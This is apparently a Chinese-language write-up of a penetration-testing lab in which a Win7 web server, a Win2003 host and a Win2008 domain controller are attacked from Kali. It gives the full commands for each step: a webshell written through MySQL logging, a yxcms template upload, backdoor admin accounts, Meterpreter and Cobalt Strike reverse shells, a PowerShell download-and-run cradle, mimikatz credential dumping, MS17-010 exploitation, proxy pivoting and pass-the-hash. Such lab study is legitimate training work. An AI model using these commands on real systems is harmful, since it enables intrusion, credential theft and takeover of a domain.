环境搭建

三台虚拟机:Win7、Win2003、Win2008 ,默认密码均为hongrisec@2009(若win7重启后密码不对,试试Qwer1234)

kali一个nat网卡,模拟外网攻击机 192.168.52.128

image-20230414150247462

win7一个nat网卡,一个VMnet 1网卡,模拟web服务器 192.168.52.143

image-20230414135307010

win2003一个VMnet 1网卡,模拟内网域成员主机 192.168.52.141

image-20230414150340791

win2008一个VMnet 1网卡,模拟内网域控主机 192.168.52.138

image-20230414112924516

拓扑图

image-20230414112320934

设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1 web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透

win server2008、win2k3密码需更改,改为admin@123

外网渗透

信息搜集

nmap扫端口服务(启用了防火墙,无法ping)

image-20230414135443590

目录扫描

image-20230414153733148

phpmyadmin

root/root成功进入后台

image-20230414135710569
1
2
SHOW GLOBAL VARIABLES LIKE '%secure%'
#查看数据库是否有导入权限,看能否直接写入木马
image-20230414140208940

secure_file_priv为NULL,没有权限写文件,不能用into outfile写shell

采用日志写shell

image-20230414140627822

查找绝对路径

image-20230414140602021
1
2
3
set global general_log = "ON";  #开启日志记录功能
set global general_log_file = "C:/phpStudy/WWW/shell.php"; #指定日志保存文件,要为.php后缀,要在网站目录下
select "<?php phpinfo();@eval($_POST['cmd']);?>"; #执行任意sql语句都会记录在日志当中,即写入木马

蚁剑连接

image-20230414141224494
yxcms

image-20230414153916251

扫出来的beifen.rar发现有个yxcms,猜测应该使用了yxcms建站系统,访问一下

image-20230414150108554

登陆页面

image-20230414150210120

此时的url后面参数r跟着的是member,既然是member,那肯定存在管理员admin或者root之类的。试着改一改,蹦出管理后台登录界面 index.php?r=admin/index/login

image-20230414150629087

成功进入后台管理界面(有很多地方可以xss),在前台模板界面可以添加php文件

image-20230414151844734

成功写入木马

image-20230414152527178

上传了以后,下一步就是找路径,路径很重要

可以直接网上搜yxcms的模板文件路径

1
/protected/apps/default/view/default/xx.php

也可以抓包,让文件名不合法,爆出路径

image-20230414153427929

蚁剑连接即可。这就是第二种方式getshell

内网渗透

关闭win7防火墙

1
netsh advfirewall set allprofiles state off

尝试远程登录

查看当前用户权限,因为一般拿下window的话都会尝试去连接它的远程桌面,所以再查看一下3389端口开放情况

image-20230415092006058

添加用户

1
2
3
net user micgo admin@123 /add            #添加账户密码
net localgroup administrators micgo /add #给Yokan账户添加为管理员权限
net user micgo #查询是否成功添加Yokan用户
image-20230415093820973 image-20230415093656141
上线msf

利用msfvenom创建一个后门程序:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.143 LPORT=12345 -f exe -o 12345.exe

利用蚁剑上传到Win7上

image-20230414163056594

然后msf开启监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.52.128
set lport 1234
run

利用蚁剑的虚拟终端运行我们的后门程序,成功上线msf,输入查看可执行的命令

image-20230415095250844

可以用getsystem提权

image-20230415095547219

开启远程桌面
1
run post/windows/manage/enable_rdp

会生成一个文件,该文件可用来再关闭远程桌面

image-20230415095812979

1
run multi_console_command -r 文件地址
获取账号密码

加载kiwi模块(新版mimikatz),加载模块前需要先将meterpreter迁移到64位的进程,而且该进程需要是system权限运行的

通过ps查看一下,选择x64并且SYSTEM权限的随便一个

image-20230415102808517
1
2
3
migrate 428
load kiwi
kiwi_cmd sekurlsa::logonpasswords #kiwi_cmd模块可以使用mimikatz全部功能,该命令后面接mimikatz.exe的命令
image-20230415102933530 image-20230415103054444
发现主机
1
run arp_scanner -r  192.168.52.0/24
image-20230415103741394
提权
1
run post/multi/recon/local_exploit_suggester

image-20230415103959874

上线cs

在kali以root权限启动服务端,在win10启动客户端(具体可看cs学习笔记)

1
2
chmod 755 teamserver 
./teamserver 192.168.52.128 12345678

image-20230414215313956

生成CS后门test.exe,通过菜刀上传,然后执行

image-20230414221314572

派生Cobalt Strike权限

image-20230415104703610 image-20230415104618540
1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.128:80/a'))"

image-20230415104733663

msf传cs
1
2
3
4
5
6
7
8
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set disablepayloadhandler true
set lhost 192.168.52.128
set lport 80 #这里的ip端口要和cs的监听ip端口一样
set session 11
run

image-20230415110415005

成功上线win10的CS

image-20230415110333484

cs传msf

在CS上建立新的foreign监听

image-20230415110817102

在msf配置session,端口一致

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.52.128
set lport 2333
run

之后在CS上新建会话,选用新建的foreign监听

image-20230415111033831

联动成功

image-20230415110948969

域信息收集
1
2
3
4
5
6
7
1.ipconfig      看所处网段是否有多个
2.netstat -ano 查看网络连接和开放端口
3.net start 查看启动的服务 用于提权
4.tasklist 查看开启的进程
5.tasklist /SVC 复制到在线杀软识别查看存在的杀软情况https://i.hacking8.com/tiquan
6. ping baidu 查看是否可以出网等
7. net user 存在用户

横向移动

添加路由、挂socks4a代理

添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机(win7)的meterpreter会话来传递;添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务(添加路由一定要在挂代理之前,因为代理需要用到路由功能)

1
run get_local_subnets
image-20230415113457575

添加内网路由

1
run autoroute -s 192.168.52.0/24
image-20230415113620075

arp -a 查看一下所有接口的当前 ARP 缓存表

image-20230415113704878

设置代理

1
2
3
4
use auxiliary/server/socks_proxy
set version 4a
set srvhost 127.0.0.1
run
image-20230415120304741

修改proxychain文件

1
2
vim /etc/proxychains.conf
#最后一行改成 socks4 127.0.0.1 1080

image-20230415121417705

image-20230415121422825

设置成功后打开其他程序需在前面加上proxychains

1
proxychains4 nmap -Pn -sT 192.168.52.143
内网存活主机探测
1
2
3
4
auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
post/windows/gather/arp_scanner

image-20230415183303090

内网存活主机端口扫描
1
2
proxychains nmap -Pn -sT 192.168.52.141
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(默认扫描1-10000)
image-20230415184249751 image-20230415184253031
内网存活主机服务探测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
永恒之蓝拿下主机

win2003 192.168.52.141

开放了445端口,利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是win2003

image-20230415184411680

使用msf辅助模块进行扫描,查看是否存在ms17-010漏洞

1
nmap --script=vuln 192.168.52.141
image-20230415184858495
1
2
3
4
5
6
7
8
9
use auxiliary/admin/smb/ms17_010_command
show options
set RHOSTS 192.168.52.141
set command net user micgo admin@123 /add #添加用户
run #成功执行
set command net localgroup administrators micgo /add #管理员权限
run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启远程桌面
run #成功执行

image-20230415185122895

然后使用proxychains连接 proxychains rdesktop 192.168.52.141

image-20230415185903133

利用ms17_010测试一下win2008,也是成功的。这两台域内主机都可以用ms17_010拿下。这里命令改成派生Cobalt Strike

image-20230415104703610 image-20230415104618540
1
2
set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.128:80/a'))"
run

image-20230415204047165

image-20230415203749902

telnet服务上传漏洞

利用23端口telnet服务上传漏洞,首先通过ms17_010开启23端口与telnet服务

1
2
3
4
set command sc config tlntsvr start= auto
run
set COMMAND net start telnet
run

查看是否成功打开23端口

1
2
set command netstat -an
run

image-20230415192431802

进行telnet连接

1
2
3
4
5
6
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.10.141
set username micgo
set password admin@123
run
sessions #查看shell
1
2
3
telnet 192.168.10.129
micgo
admin@123

image-20230415192929360

MSF哈希传递攻击PTH

在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机

在域环境中,利用哈希传递攻击的渗透方式往往是这样的:

  1. 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值
  2. 通过哈希传递攻击尝试登录其他主机
  3. 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域

image-20230415204511214

获得 NTLM Hash:c3a48ef15bf6ff6c4df2131cf3c58c9b,在 Metasploit 中,经常使用于哈希传递攻击的模块有:

1
2
3
auxiliary/admin/smb/psexec_command   //在目标机器上执行系统命令
exploit/windows/smb/psexec //用psexec执行系统命令
exploit/windows/smb/psexec_psh //使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:

1
2
3
4
5
6
use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser OWA$
set smbpass 00000000000000000000000000000000:c3a48ef15bf6ff6c4df2131cf3c58c9b
set smbdomain GOD
run
image-20230415204645116